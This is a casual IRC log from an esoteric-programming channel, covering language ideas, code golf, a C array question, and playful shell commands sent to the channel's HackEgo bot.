4: echo: write error: Bad file descriptor 01:11:33 oerjan: surely you'd want cat /dev/null to work the same way as cat i'm not saying this is a good idea, i'm just saying it could be done not to break things much worse than they already are. 01:12:54 also, you're right to be suspicious hth 01:17:52 my god openbsd's ports is big. 01:18:01 it ate up all the space in the usr dir 01:18:22 and it has taken several minutes to move to main storage 01:19:37 im going to make a larger disk next time >_> 01:19:45 32 gb instead of 8 01:22:08 ill soon be talking to you all over openbsd, bbl 01:22:12 -!- moon_ has quit (Quit: Page closed). 01:28:19 -!- moon_ has joined. 01:28:26 i lied, everything is stalling in openbsd >_> 01:28:32 the download is taking too long 01:30:05 3-4 mb downloads are not ment to take 4 minutes internet ._ 01:33:57 lol the freebsd make 'checks wether the enviornment is sane' 01:34:01 lo*openbsd 01:34:05 it would fail here. 01:34:45 moon_: that check has succeeded even in cases where it /really/ shouldn't (e.g. C-INTERCAL running on gcc-bf) 01:35:00 lol 01:35:23 the hexchat irc client will be done in no time :P 01:36:24 its spamming my terminal 01:36:28 )= 01:50:54 http://www.haneke.net/ 01:50:58 intresting site 01:52:21 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 01:52:57 -!- shachaf has joined. 01:58:22 `rm output 01:58:26 No output. 01:59:26 i think you catted it instead tdnh 02:00:23 `mk canary//cat: canary: No such file or directory 02:00:29 canary 02:00:48 `cat canary 02:00:49 cat: canary: No such file or directory 02:00:51 lol 02:00:57 `cat yranac 02:00:59 cat: yranac: No such file or directory 02:00:59 that was similar to the joke in output 02:01:11 I approve of this canary 02:01:21 output contained: 'No output.' 02:01:56 But making files in /hackenv is frowned upon. 02:02:23 anways, did you all look at this: http://www.haneke.net/ 02:05:55 moon_: yes, and i have the earworm to prove it hth 02:06:27 the site has no sound 02:06:38 moon_: huh? it does for me. 02:06:59 yea, it doesnt 02:07:24 oh, it does 02:07:25 i'm not sure if it's meant to be something more than a background animation... 02:07:34 nope, its not lol 02:07:42 a few test clicks did nothing, anyway 02:08:19 but it inspired another random esolang :P 02:08:46 -!- Phantom_Hoover has quit (Remote host closed the connection). 02:09:00 nvm someone beat me to something similart 02:09:08 http://esolangs.org/wiki/Marbelous 02:09:13 moon_: in that case, have you seen Rube? 02:09:18 mhm 02:10:22 but im gonna go for a single char lang instead, so i might just do it. 02:10:57 first, interpreter for a usable language 02:11:33 Rube is a single char lang, although Rubicon uses graphics. 02:12:50 hmm, ok then 02:13:06 wait why did i say that if i have seen it? xD 02:17:54 [wiki] [[Special:Log/newusers]] create * Destructible watermelon * New user account 02:18:36 interesting name 02:18:53 "destructible" is usually implied. 02:18:53 it has spaces though 02:18:54 oerjan: rubicon's a single char lang internally 02:18:58 you could just say it's using a particularly pretty font 02:20:44 is there a good way to map a string to a grid? 02:20:55 aka 1d array to 2d array? 02:21:04 wait dont answer that. 02:21:36 nvm do answer it :P 02:23:51 what do you mean 02:24:10 do you want [1,2,3,4,5,6] to look like [ [1,2], [3,4], [5,6] ]? 02:24:14 i want to map a 1 dimensional array to a 2 dimensional array in C++ 02:24:18 moon_: replace newlines with "go to the next line" 02:24:47 moon_: what do you mean "map" a 1 dimensional array? 02:25:05 apply it to a 2 dimensional array, make it 2d 02:25:15 can you give me an example? 02:25:33 -!- hppavilion[1] has joined. 02:25:34 * oerjan senses a certain lack of precision 02:25:37 Why is theft a crime, but cotheft isn't a cocrime? 02:25:58 hppavilion[1]: cocrime is a cotheft, duh 02:25:59 hth 02:26:22 http://pastebin.com/MH4QRFGK 02:26:22 Theft, of course, being the decrease of another person's economic value or the exchange of goods without their consent, and cotheft being increasing the value 02:26:27 there is your example 02:26:41 Then again, I have nfc what cocrime is, so maybe it is 02:27:18 moon_: what do you do if the length of the string is prime twh 02:27:20 moon_: what if you have 1345 02:27:25 ermm 02:27:26 12345 02:27:36 then it would wrap around 02:27:47 wrapped with nulls 02:27:58 so 12NULL 345 02:28:02 or 123 NULL45 02:28:25 no you would have 12 34 5NULL 02:28:33 oerjan: Wait, what? 02:28:33 or that 02:28:36 ohh 02:28:38 oerjan: What's moon_ doing in the first place? 02:28:41 it depends on how it is written 02:28:45 2d interpreter 02:28:59 moon_: Find a prime p s.t. p+1 is also prime 02:29:28 moon_: so you want to split an array into an array of arrays of 2 chars each 02:29:33 no 02:29:40 an array into a square array 02:29:55 12 34 5NULL isn't square 02:30:08 it is rectangulare 02:30:29 also, although I don't have any experience with C/C++, wouldn't you get a type error if you tried to put a NULL in an array of int? 02:30:34 but 12NULL 34 5, 12 34NULL 5 are examples 02:30:59 this is an array of chars, the char there would be the 2d language's nop 02:31:30 hppavilion[1]: why do you expect me to know 02:31:41 C supports 2d arrays 02:31:58 how is the rectangle size decided? 02:32:02 is it arbitrary? 02:32:03 i.e char 2darray[100][100] 02:32:14 say you had a string 12 chars long 02:32:15 thats what i need a way to DO 02:32:18 would it be 6x2 02:32:19 >_> 02:32:20 or x4 02:32:22 3x4 02:32:22 oerjan: Well, you asked what happens if the length of the string is prime, so I made a guess that you understood enough to know that would be a problem 02:32:27 Hm... 02:32:34 I just realized something interesting about english 02:32:39 what 02:32:40 You can have adjectives which are synonyms 02:32:44 lol 02:32:48 hppavilion[1]: I imagine that if n were prime, the 2D array would be 1xn 02:33:01 But which when applied to the same noun mean different things 02:33:05 But only relative to each other 02:33:11 For example, "very" and "extremely" 02:33:19 huh 02:33:20 wow 02:33:24 They're adjectives 02:33:27 ok to avoid this problem im gonna use a fixed array 02:33:31 (I think) 02:33:38 i'm very bored and extremely tired 02:33:41 ermm 02:33:42 And they both describe that another adjective is exaggerated 02:33:44 i'm very bored and extremely excited 02:33:46 Essentially, they're synonyms 02:33:53 how would i apply a strin up to 10000 chars long to a 100x100 array? :P 02:33:54 in C 02:34:14 And if you say something is "very big or something is "extremely big", they mean the same thing 02:34:22 ^ 02:34:23 s/very big/very big"/ 02:34:38 [wiki] [[List of ideas]] M https://esolangs.org/w/index.php?diff=47127&oldid=46650 * Destructible watermelon * (+453) /* Looks Like */ 02:34:58 But if you say one thing is "very big" and another thing is "extremely big", then it stands to reason that the second thing is bigger than the first 02:35:12 Even though "very" and "extremely" mean the same thing 02:35:13 for (i=0;i==length_of_str;i++) {well 02:35:15 gah 02:35:15 well 02:35:16 sure 02:35:26 they express different magnitudes 02:35:29 but they can still be considered synonyms 02:35:34 Elronnd: Yes, but only when used together 02:35:49 wait i got it 02:35:59 Elronnd: When only one is used, they express roughly the same range of magnitudes 02:36:07 Is there a linguistic term for this? 02:36:19 (This was inspired, of all things, by the Goldbach Conjectures) 02:36:22 hppavilion[1]: no, i just understood enough to think of an example where moon_'s statement of the problem was underspecified. 02:36:52 oerjan: But what was the problem in the first place? 02:36:53 moon_: I'm guessing that you want the sides of the rectangle to be as close as possible to each other? 02:36:57 mhm 02:37:16 moon_: By the way 02:37:18 hppavilion[1]: they're adverbs, not adjectives hth 02:37:30 oerjan: Are they? 02:37:35 Oh well, it still works if they are 02:37:44 moon_: I calculated the odds of everybody on earth sneezing at the same time 02:37:59 (at any given second) 02:38:18 (or something; I don't remember what the math means precisely) 02:38:29 It's 5.2345140545750255095729057789677877107902000024178184273063118452216398192830384321642665672586107071499738573951676069816850719055839882135729586168861337085743787119721991366279460690571913008155670283808735608620… × 10^-37943769263 02:38:39 oh my god 02:38:41 lol 02:38:45 big number 02:39:07 does C guarantee that arrays of arrays are unpadded? in that case it should be easy to cheat. 02:39:09 im takeing that to bay12 quotes thread :P 02:39:40 i have a programming chalange for you all, by the way 02:39:46 oerjan: it's trivial to pad them, if not 02:39:49 moon_: what is it? 02:39:51 make a language that uses objects out of http://www.haneke.net/ for its operands 02:40:03 and then makea interpreter 02:40:16 you dont need all of the objects 02:40:49 what is that site 02:41:00 giant gif marble machine 02:42:03 Elronnd: i mean that you might just cast the array to a string, then copy into it 02:42:46 (add "pointer to" as needed) 02:43:50 actually, memory operations would work, C/C++ store 2d arrays in a 1d format still 02:43:54 without padding 02:44:09 moon_: well i was asking whether that is guaranteed. 02:44:17 i beleive so 02:44:40 if not, you can always use for loops. 02:44:45 yup 02:45:07 it seems to me that deciding the number of rows is the hardest part :) 02:45:19 mhm 02:45:27 (ideally needs a square root) 02:46:39 so elronnd, you take it? 02:47:17 moon_: That's a small number 02:47:20 moon_: here's my (very bad) pseudocode http://lpaste.net/165400 02:47:23 for your 2D problem 02:47:26 moon_: Notice the '-' after the '^' 02:47:41 ik 02:47:59 im saying its very 'long' which is synonomus with big in most ways 02:48:02 (= 02:48:16 moon_: Not in math 02:48:29 i ment in characters of text 02:48:36 -!- ais523 has quit. 02:54:18 whats the best language for code golfing? 02:55:34 moon_: brainfuck 02:55:36 ;) 02:55:38 lolno 02:55:44 P, maybe 02:55:49 bash+coreutils is not that bad 02:55:52 in some cases, yes 02:56:08 but very rarely is brainfuck a good golfer 02:56:34 Best language for code golfing can depend what program, is one thing. But there is also other kind of details. 02:56:48 but best in general is what i want lol 02:56:56 well 02:57:00 kind of the point of unix 02:57:04 is that there is no one best tool 02:57:06 there are many 02:57:12 and you choose the one that fits the task 02:58:52 someone give me something to golf 02:58:53 I'm bored 02:59:03 @where e_10 02:59:03 [show(sum$scanl div(100^n)[1..[4..]!!n])!!n|n<-[0..]] 02:59:04 @where pi_10 02:59:04 (!!3)<$>transpose[show$foldr(\k a->2*10^2^n+a*k`div`(2*k+1))0[1..2^n]|n<-[0..]] 02:59:07 Golf one of those. 02:59:13 wat? 02:59:24 > [show(sum$scanl div(100^n)[1..[4..]!!n])!!n|n<-[0..]] 02:59:25 no 02:59:27 "271828182845904523536028747135266249775724709369995957496696762772407663035... 02:59:35 > (!!3)<$>transpose[show$foldr(\k a->2*10^2^n+a*k`div`(2*k+1))0[1..2^n]|n<-[0..]] 02:59:38 "314159265358979323846264338327950288419716939937510582097494459230781640628... 02:59:39 golf a PRNG? 02:59:59 I don't know enough to write a PRNG regularly 03:00:04 oh 03:00:07 -!- ^v has quit (Ping timeout: 252 seconds). 03:00:15 golf a program that prints my username lol 03:00:36 simple 03:00:47 print("moon_") 03:00:50 python 03:01:38 #include void main(){printf("moon_");} 03:01:38 C 03:01:57 The first one is suboptimal and the second one is invalid. 03:02:06 replace stdio.h with iostream for C++ 03:02:22 @where+ anagol http://golf.shinh.org/ 03:02:23 It is stored. 03:02:34 There you go. All the golfing you could ever want. 03:02:37 nope, ?,moon_ is the one 03:02:46 thats in Bantas by the way 03:03:11 shachaf: shachaf would you rather __import__("sys").stdout.write("moon_") ? 03:12:29 Elronnd, here, try golfing this: turn a 1d array into a 5d array http://golf.shinh.org/p.rb?Turn+a+1d+array+into+a+5d+array 03:12:38 ^ul (moon_)S 03:12:38 moon_ 03:13:01 oerjan, bantas has the shortest so far: ?,moon_ 03:13:07 (bantas being a esolang) 03:13:32 very well, i'll do it in ///: 03:13:34 moon_ 03:13:43 lol 03:13:53 no instaquine languages 03:14:00 it's not 03:14:11 anything that is not a slash is printed in /// 03:14:24 //moon_/ will also print moon_, IIRC 03:14:33 lol 03:14:36 no. 03:14:39 that'll infloop 03:18:28 oerjan: that doesn't look like it's in FlooP at all hth 03:18:53 oerjan: what's your review of ghc 8 twh 03:20:13 -!- Elronnd has changed nick to Im. 03:20:21 -!- Im has changed nick to Elronnd. 03:21:37 -!- Elronnd has changed nick to Youre. 03:21:47 -!- Youre has changed nick to Elronnd. 03:22:39 IRP anyone? 03:22:49 (internet relay programming) 03:22:54 #irp is thataway 03:23:17 unless it's ##irp. i've forgotten. 03:23:26 its #irp, but its almost dead 03:23:35 shachaf: could use a little more salt hth 03:23:49 -!- moon_ has changed nick to worst. 03:23:52 -!- worst has changed nick to moon_. 03:24:08 -!- Destructible has joined. 03:24:08 wat 03:24:11 nvm 03:24:15 Hello, and welcome! 03:24:17 hi 03:24:30 I hope you enjoy the unix bot, hackego (= 03:24:31 tip: we created it because we were sick of people doing irp in #esoteric hth 03:24:42 `rwelcome destructible 03:24:55 i,i "redundant welcome" 03:24:56 admittedly that may have been after it got reddited. 03:25:07 ​destructible: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 03:25:17 no, rainbow welcome )= 03:25:20 wait, `rwelcome exists? 03:25:27 mhm 03:25:39 `` diff bin/r{,w}elcome 03:25:45 No output. 03:25:56 `cat rwelcome 03:25:56 cat: rwelcome: No such file or directory 03:26:01 fairy nuff 03:26:03 `cat bin/rwelcome 03:26:04 ​#!/bin/sh \ welcome "$@" | rainwords 03:26:13 it just feeds welcome to rainwords 03:26:17 `1 ls -l bin/r{,w}elcome 03:26:19 1/1:lrwxrwxrwx 1 500000 0 8 Dec 9 04:12 bin/relcome -> rwelcome \ -rwxr-xr-x 1 5000000 0 35 Dec 9 04:12 bin/rwelcome \ 03:26:29 hth 03:26:37 `` echo "nobody knows everything" | rainwords 03:26:42 ​nobody knows everything 03:27:19 Dear god 03:27:36 Destructable, hackego is real linux, and it is normal to play around with him. or just chat lol 03:27:42 we dont need more afkers 03:27:57 there are at least 100 03:27:57 I'm here 03:28:01 The fact that you do it doesn't mean that it's normal. 03:28:01 I'm just confuse 03:28:09 My god... 03:28:16 I was just browsing Bearing's twitter feed 03:28:19 And... 03:28:19 * oerjan ties shachaf to the lawn chair 03:28:20 Well... 03:28:21 http://bit.ly/1PcrVUU 03:28:27 STAY ON MY LAWN 03:28:28 (Link shortened to hide spoilers) 03:28:38 (Link goes to twitter) 03:28:40 Please don't encourage other people to act as annoyingly as you do. 03:28:45 * shachaf = maximum hater 03:28:50 hppavilion[1]: why would you be browsing twitter anyway? 03:29:10 -!- Destructible has quit (Quit: Page closed). 03:29:10 Elronnd: Because I figured he might have funny tweets? 03:29:28 its no-where near as fun as surfing pastebin for 'roblox cheats' just to laugh at the scams 03:29:56 or surfing it for anything else in that matter 03:31:32 -!- Destructible has joined. 03:31:36 wb 03:31:46 oerjan: You may want to look into that 03:31:58 -!- Destructible has quit (Client Quit). 03:32:16 bad internet iguess 03:32:19 His twitter name is even spelled the same way 03:33:18 Then again, I suppose it's likely the one who visits us was just a copyleopard 03:34:56 bbl 03:37:00 `hogue bin/5quote 03:37:10 mkx bin/5quote//quote;quote;quote;quote;quote; 03:38:24 `hogue bin/mkcmd 03:38:28 mkx bin/mkcmd//chmod +x "$1" && echo "$1" \ ` mv mkcmd bin/mkcmd 03:39:30 -!- moon_ has quit (Ping timeout: 250 seconds). 03:39:47 [wiki] [[ZT]] M https://esolangs.org/w/index.php?diff=47128&oldid=47123 * Oerjan * (+300) Reverted edits by [[Special:Contributions/Jacek Michalak|Jacek Michalak]] ([[User talk:Jacek Michalak|talk]]) to last revision by [[User:Oerjan|Oerjan]] 03:40:34 `le/rn shavention/shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, *list, mk/mkx, sled/sedlast, spore/spam/speek/sport/1 03:40:38 Learned «shavention» 03:40:46 At least Erlang/Elixir has a mutability model. I'm not sure if I actually like it though. 03:40:54 `sedlast s/$/. Taneb invented them./ 03:41:01 wisdom/shavention//shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, *list, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them. 03:41:10 -!- moon_ has joined. 03:41:12 bck 03:41:17 Were there other useful shaventions? 03:43:06 hppavilion[1]: i have no idea why you think i would like that kind of twitter accounts. 03:43:34 oerjan: I don't think you'd like it 03:43:40 oerjan: But the user is named Hagbard 03:44:16 oerjan: Specifically, I had no opinion on whether or not you'd approve of the account's content; I only checked what the account was about after posting it 03:44:32 `? h4gb4rd 03:44:34 h4gb4rd? ¯\(°​_o)/¯ 03:45:11 [wiki] [[Ziim]] https://esolangs.org/w/index.php?diff=47129&oldid=47124 * Oerjan * (-42) /* Interpreter */ fix link 03:46:18 `? Elronnd 03:46:20 Elronnd desperately wants this entry to say something. 03:46:32 `` cat bin/\? 03:46:34 ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooooooooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooooooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | 03:47:46 `` bat bin/rnooooooodl 03:47:48 ​/hackenv/bin/`: line 4: bat: command not found 03:47:52 `` cat bin/rnooooooodl 03:47:53 cat: bin/rnooooooodl: No such file or directory 03:48:00 `` which rnooooooodl 03:48:00 No output. 03:48:25 oerjan: we've got another one hth 03:49:21 lol 03:49:29 [wiki] [[YABALL]] M https://esolangs.org/w/index.php?diff=47130&oldid=47125 * Oerjan * (-17) /* External resources */ template 03:49:31 `` cat bin/\? 03:49:34 ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/noooooooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooooooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | 03:49:39 `` cat bin/\? 03:49:40 ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/noooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnoooodl 03:50:25 -!- moon_ has quit (Quit: Page closed). 03:52:05 *sigh* wayback _really_ should get better at ignoring robots.txt from domain squatters 03:52:36 what are you trying to access? 03:52:47 wayback is also a little bit buggy 03:53:13 [wiki] [[ZT]] https://esolangs.org/w/index.php?diff=47131&oldid=47128 * Oerjan * (+26) /* External resources */ Stupid domain squatters, and also stupid wayback 03:53:18 oerjan: wat? 03:53:52 oerjan: I'm sorry, please explain? 03:54:31 oerjan: the fact that it allows googlebot 03:54:32 Is it... former domain squatters put a robots.txt that bans everything, then even after the domain is obtained by proper domain users, Wayback doesn't update the robots.txt data so never saves the page? 03:54:41 means that it might be in google cach 03:54:43 e 03:55:48 Well, I'm going to go sacrifice a human to the great god F'ngaw-t 03:55:51 Bai 03:57:14 hppavilion[1]: apparently Hagbard Celine is a fictional character hth 03:57:37 oerjan: I got a working archive for you 03:57:40 https://archive.is/MTHXE 03:57:52 oerjan: we've got another one hth <-- yay! 03:59:54 hppavilion[1]: no, the page has been saved before, but the problem is that it _starts_ obeying the robots.txt of the squatters even for old content 04:00:04 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 04:00:28 @tell hppavilion[1]: no, the page has been saved before, but the problem is that it _starts_ obeying the robots.txt of the squatters even for old content 04:00:28 Consider it noted. 04:00:36 @tell oerjan: test 04:00:37 You can tell yourself! 04:01:19 Elronnd: it's not in google cache because i'm looking for an _old_ version of the page. 04:01:37 oerjan: what about the archive.is one 04:01:47 also, it looks like it's not in google cache 04:02:12 at all 04:02:24 Elronnd: brilliant :P 04:03:18 -!- Destructible has joined. 04:03:21 the other page wasn't archived, though 04:03:25 hi again 04:03:53 Elronnd: well the _real_ page went offline a decade ago, so of course google hasn't kept it. 04:04:00 [wiki] [[ZT]] https://esolangs.org/w/index.php?diff=47132&oldid=47131 * Elronnd * (-58) fix link 04:04:11 thanks 04:04:33 np 04:04:37 the other link, though 04:04:41 I think may be dead forever 04:05:14 depends. it will probably come back if the site robots.txt ever gets turned into something friendly. 04:05:24 because wayback _has_ it. 04:05:55 and also if wayback actually _implemented_ the tracking of domain changes i recall they once mentioned they wanted to do. 04:07:13 I came up with an idea for an esoteric language, but I'm not sure whether I should make a page for it. 04:09:01 [wiki] [[ZT]] https://esolangs.org/w/index.php?diff=47133&oldid=47132 * Oerjan * (+43) /* External resources */ add archive link 04:09:50 -!- ^v has joined. 04:10:00 Destructible: we're pretty inclusive. 04:10:19 mind you, if it's a brainfuck derivative, you might think twice. 04:10:32 oerjan: in my experience authors of bf derivatives tend not to think twice hth 04:10:56 to some degree, it is a bit like brainfuck, but it's not a language that directly emulates brainfuck 04:11:10 it has a tape for memory, and moves up and down the tape 04:12:23 if it has more than half of the actual bf commands, even renamed, then you're pretty deep in hth 04:12:37 no, it does not 04:12:40 good 04:12:55 the move commands alter the numbers beneath it 04:13:29 and it can not change any if it tries to move back to the original position 04:13:59 how it changes any at all, is it pushes the tile it is on to a stack (not it's value, the position) 04:14:15 and then pops it to "teleport" to it 04:15:02 what exactly does hth mean, anyway 04:15:08 `? hth 04:15:10 hth is help received from a hairy toe. It is not at all hambiguitous. 04:15:22 [wiki] [[ZT]] M https://esolangs.org/w/index.php?diff=47134&oldid=47133 * Oerjan * (+4) /* External resources */ italics 04:15:32 `? hth 04:15:33 hth is help received from a hairy toe. It is not at all hambiguitous. 04:17:07 I'm still confused about what hth actually means. Do you just append it to the end of your sentences for fun hth 04:17:46 [wiki] [[COBOL]] https://esolangs.org/w/index.php?diff=47135&oldid=47122 * Oerjan * (-17) /* External resources */ template and newer capture 04:18:56 hth can only be learned by osmosis, or possibly by someone blabbering. 04:19:30 `? hambiguitous 04:19:30 hambiguitous? ¯\(°​_o)/¯ 04:19:48 ... what if 04:19:53 `? love 04:19:55 love? ¯\(°​_o)/¯ 04:20:05 poor hackego 04:20:24 `le/rn hambiguitous/We're not sure what hambiguitous means, but it's definitely not hth. 04:20:29 Learned «hambiguitous» 04:21:07 `? hambiguitous 04:21:09 We're not sure what hambiguitous means, but it's definitely not hth. 04:21:17 can i teach it one? 04:21:46 it is possible 04:22:06 `? ¯\(°​_o)/¯ 04:22:08 ​¯\(°​_o)/¯ is a misspelling of ¯\(°_o)/¯ 04:22:30 `? ¯\(°_o)/¯ 04:22:32 ​¯\(°_o)/¯ `? ¯\(°_o)/¯ 04:22:40 but first, you have to get into the right spirit. 04:23:05 `? ? °°°°°° is a very bad misspelling of 04:23:07 ​? °°°°°° is a very bad misspelling of? ¯\(°​_o)/¯ 04:23:47 `? misspellings of croissant 04:23:49 misspellings of crosant? ¯\(°​_o)/¯ 04:24:13 `le/rn love/Baby don't hurt me, don't hurt me no more 04:24:16 Learned «love» 04:24:23 I had to 04:24:28 sorry 04:24:35 you're forgiven 04:24:43 i don't forgive you 04:24:49 by me, ... right. 04:24:54 shachaf: i was getting to that part 04:25:24 the more he bleeds, the more he lives / he never forgets and he never forgives 04:25:30 `? floccinaucinihilipilification 04:25:32 floccinaucinihilipilification? ¯\(°​_o)/¯ 04:25:39 shachaf: is that one of those awkward riddles 04:25:46 no, it's a lyric 04:26:14 https://www.flashlyrics.com/lyrics/stephen-sondheim/the-ballad-of-sweeney-todd-26 hth 04:26:29 `? supercalifragilisticexpialidocious 04:26:30 supercalifragilisticexpialidocious? ¯\(°​_o)/¯ 04:26:43 i thought we had that one. 04:26:58 `` ls wisdom/*istic* 04:27:01 wisdom/supercalifragilisticexponential growth 04:27:08 `? supercalifragilisticexponential growth 04:27:09 Supercalifragilisticexponential growth leaves Graham's number in the dust. 04:27:25 shachaf: `wisdom takes ... hm is it a glob or a regex 04:27:29 -!- navigaid has joined. 04:27:29 le/rn floccinaucinihilipilification/n. The act or habit of describing or regarding something as unimportant, of having no value or being worthless. 04:27:33 `wisdom .uperc 04:27:36 ​//cat: : No such file or directory 04:27:53 Destructible: um we prefer having the key in the result. 04:28:09 Well, I'd prefer not having that wisdom entry at all. 04:28:16 It's the same as what you'd find in any dictionary. 04:28:16 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 04:28:19 What's the point? 04:28:29 `learn floccinaucinihilipilification n. The act or habit 04:28:29 of describing or regarding something as unimportant, of 04:28:29 having no value or being worthless. 04:28:33 Learned 'floccinaucinihilipilification': floccinaucinihilipilification n. The act or habit 04:28:38 *sigh* 04:28:46 I'll be back 04:28:49 why can't irssi line joining be reliable. 04:28:49 -!- Destructible has quit (Quit: Page closed). 04:28:57 `forget floccinaucinihilipilification 04:28:59 Forget what? 04:29:00 Oh, bad timing. 04:29:07 or not. 04:29:25 The Ballad of Sweeney Todd is great. 04:29:51 `wisdom ?uper 04:29:53 superexponential growth//Superexponential growth? SUPEREXPONENTIAL GROWTH?! HOLY CRAP!!! 04:29:54 freely flows the blood of those who moralize 04:30:03 seems to be a glob 04:30:11 oerjan: you implemented it hth 04:30:19 `cat bin/wisdom 04:30:20 F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f | shuf -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 04:32:42 shachaf: i don't see what that has to do with remembering its format 04:33:03 Well, think to yourself: Would you have bothered implementing regex matching? 04:33:15 if it had been easier, yes. 04:33:35 and i'd thought of how to do it first. 04:34:11 Wait, now I can't remember whether you or I implemented this. 04:34:14 `` wisdom nooodl 04:34:17 noooodl//noooooooooooooooooooooooodl is the correct spelling 04:34:21 `` hogue bin/wisdom | sport 04:34:28 1/4: ` sed -i \'s#/"#//"#\' bin/wisdom \ mkx bin/wisdom//F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooooodl; cat "$F" | rnooooodl \ mkx bin/wisdom//F="$(find wisdom -name "*""$(echo "$1" | lowercase)""*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | 04:34:46 I guess it was you. 04:35:04 it rings a bell. 04:35:35 Oops, should've `1-ed. 04:36:00 what 04:36:05 `cat bin/1 04:36:06 ​\` "$@" | sport 04:37:20 -!- fungot has quit (Ping timeout: 250 seconds). 04:39:05 -!- gniourf has quit (Ping timeout: 260 seconds). 04:41:17 fizzie: fungone 04:41:30 fizziegontoo 04:41:39 -!- MDead has joined. 04:41:57 eek, a dead dude 04:42:25 -!- MDude has quit (Ping timeout: 252 seconds). 04:42:26 `? pooodl 04:42:28 pooodl? ¯\(°​_o)/¯ 04:42:34 -!- MDead has changed nick to MDude. 04:42:35 `? pooodl 04:42:37 pooodl? ¯\(°​_o)/¯ 04:42:56 i don't think it applies rnooodl on input, shachaf 04:43:04 . o O ( at least i hope so ) 04:43:18 It tries to apply the inverse on input. 04:43:19 `cat bin/? 04:43:20 ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl; 04:43:30 aha 04:43:32 But I was hoping it applies it on output before printing that ridiculous Unicode face. 04:44:08 lynn: have you considered moving to new england 04:44:14 have I created a meme? 04:44:15 lynn: and changing your name to yankee noodl 04:44:18 `cat bin/\? 04:44:20 cat: bin/\?: No such file or directory 04:44:31 Elronnd: you? 04:44:32 lynn: yankee nooodl 04:44:54 oerjan: I was the first to 04:45:04 `` cat bin/\? 04:45:05 ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooooooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnoooooooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | 04:45:07 lynn: In fact, move to Connecticut. 04:45:10 FireFly: You too. 04:45:20 wait 04:45:22 lynn 04:45:26 you hang around this channel too? 04:45:30 hey lynn 04:45:33 Elronnd: i didn't use `` so it doesn't apply 04:45:45 no? 04:45:48 I see identical output 04:46:16 that's like saying "I went to https://youtu.be/something instead of https://youtube.com/watch?v=something, so I watched a different video" 04:46:22 Elronnd: look closer 04:46:35 `cat bin/? 04:46:36 ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl; 04:46:50 `` cat bin/\? 04:46:52 ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/noooooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnoo 04:47:05 whoooah 04:47:08 whaaaat? 04:47:10 `ls bin 04:47:12 ​` \ `` \ ^.^ \ ̊ \ \ ! \ ? \ ?? \ ¿ \ ' \ @ \ * \ ؟ \ \ \ \ 1 \ 1492 \ 2014 \ 2015 \ 2016 \ 2017 \ 5 \ 5quote \ 8ball \ 8-ball \ aaaaaaaaa \ addquote \ addtodo \ aglist \ allquotes \ analogy \ anonlog \ append \ arienvenido \ as86 \ aseen \ asm \ autowelcome \ bardsworthlist \ before \ benvenuto \ bf \ bff \ bienvenido \ bienvenue \ 04:47:25 `` cat bin/\/ 04:47:26 cat: bin//: Is a directory 04:47:34 `` cat bin/\\ 04:47:36 cat: bin/\: No such file or directory 04:48:19 `` echo ooodles of nooodls 04:48:20 ooooooooodles of nooooooooodls 04:48:36 `echo ooodles of nooodls 04:48:37 